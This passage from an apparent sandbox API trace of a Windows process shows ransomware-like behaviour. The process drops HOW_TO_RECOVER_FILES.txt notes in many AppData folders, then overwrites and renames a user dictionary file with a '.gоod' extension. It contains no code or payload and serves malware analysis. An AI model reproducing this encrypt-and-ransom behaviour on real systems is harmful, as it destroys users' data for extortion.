lpOldMode=0x204ea630) returned 1 [0258.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0258.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpFilePart=0x0) returned 0x5c [0258.390] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0258.390] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.390] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.390] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0258.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0258.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0258.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0258.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpFilePart=0x0) returned 0x5c [0258.390] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0258.391] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.391] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.391] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0258.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0258.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0258.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204e9750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0258.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9c70) returned 1 [0258.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\1033\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.392] GetFileType (hFile=0x8a8) returned 0x1 [0258.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9be0) returned 1 [0258.392] GetFileType (hFile=0x8a8) returned 0x1 [0258.392] WriteFile (in: hFile=0x8a8, lpBuffer=0x37a3808*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204e9d38, lpOverlapped=0x0 | out: lpBuffer=0x37a3808*, lpNumberOfBytesWritten=0x204e9d38*=0x5d0, lpOverlapped=0x0) returned 1 [0258.393] CloseHandle (hObject=0x8a8) returned 1 [0258.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ea180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0258.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea6a0) returned 1 [0258.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.394] GetFileType (hFile=0x8a8) returned 0x1 [0258.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea610) returned 1 [0258.394] GetFileType (hFile=0x8a8) returned 0x1 [0258.395] WriteFile (in: hFile=0x8a8, lpBuffer=0x37a7120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ea768, lpOverlapped=0x0 | out: lpBuffer=0x37a7120*, lpNumberOfBytesWritten=0x204ea768*=0x5d0, lpOverlapped=0x0) returned 1 [0258.395] CloseHandle (hObject=0x8a8) returned 1 [0258.395] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0258.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0258.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.396] GetFileType (hFile=0x8a8) returned 0x1 [0258.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0258.396] GetFileType (hFile=0x8a8) returned 0x1 [0258.397] WriteFile (in: hFile=0x8a8, lpBuffer=0x37ab2b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x37ab2b8*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0258.397] CloseHandle (hObject=0x8a8) returned 1 [0258.397] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5b [0258.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0258.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.398] GetFileType (hFile=0x8a8) returned 0x1 [0258.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0258.398] GetFileType (hFile=0x8a8) returned 0x1 [0258.399] WriteFile (in: hFile=0x8a8, lpBuffer=0x37aeb70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37aeb70*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0258.399] CloseHandle (hObject=0x8a8) returned 1 [0258.399] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x58 [0258.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0258.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.400] GetFileType (hFile=0x8a8) returned 0x1 [0258.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0258.400] GetFileType (hFile=0x8a8) returned 0x1 [0258.400] WriteFile (in: hFile=0x8a8, lpBuffer=0x37b2428*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37b2428*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0258.401] CloseHandle (hObject=0x8a8) returned 1 [0258.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0258.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0258.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.402] GetFileType (hFile=0x8a8) returned 0x1 [0258.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0258.402] GetFileType (hFile=0x8a8) returned 0x1 [0258.403] WriteFile (in: hFile=0x8a8, lpBuffer=0x37b65f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x37b65f0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0258.403] CloseHandle (hObject=0x8a8) returned 1 [0258.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x30 [0258.403] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0258.404] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.404] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x12, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0258.404] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.404] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0258.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x30 [0258.405] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0258.405] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.405] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x12, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0258.405] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x12, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0258.405] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0258.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", lpFilePart=0x0) returned 0x3b [0258.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0258.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), fInfoLevelId=0x0, lpFileInformation=0x37c5dd0 | out: lpFileInformation=0x37c5dd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x12)) returned 1 [0258.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0258.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", lpFilePart=0x0) returned 0x3b [0258.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0258.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.406] GetFileType (hFile=0x8a8) returned 0x1 [0258.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0258.406] GetFileType (hFile=0x8a8) returned 0x1 [0258.406] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x204ecdf8 | out: lpFileSizeHigh=0x204ecdf8*=0x0) returned 0x12 [0258.406] ReadFile (in: hFile=0x8a8, lpBuffer=0x37c6050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd28, lpOverlapped=0x0 | out: lpBuffer=0x37c6050*, lpNumberOfBytesRead=0x204ecd28*=0x12, lpOverlapped=0x0) returned 1 [0258.406] CloseHandle (hObject=0x8a8) returned 1 [0258.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", lpFilePart=0x0) returned 0x3b [0258.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0258.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.547] GetFileType (hFile=0x8a8) returned 0x1 [0258.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0258.547] GetFileType (hFile=0x8a8) returned 0x1 [0258.547] WriteFile (in: hFile=0x8a8, lpBuffer=0x374de60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x204ecc38, lpOverlapped=0x0 | out: lpBuffer=0x374de60*, lpNumberOfBytesWritten=0x204ecc38*=0x20, lpOverlapped=0x0) returned 1 [0258.547] CloseHandle (hObject=0x8a8) returned 1 [0258.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", lpFilePart=0x0) returned 0x3b [0258.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.gоod", lpFilePart=0x0) returned 0x40 [0258.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0258.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x9651b41e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0258.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0258.548] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic.gоod")) returned 1 [0258.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0258.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0258.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.549] GetFileType (hFile=0x8a8) returned 0x1 [0258.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0258.549] GetFileType (hFile=0x8a8) returned 0x1 [0258.550] WriteFile (in: hFile=0x8a8, lpBuffer=0x3751498*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3751498*, 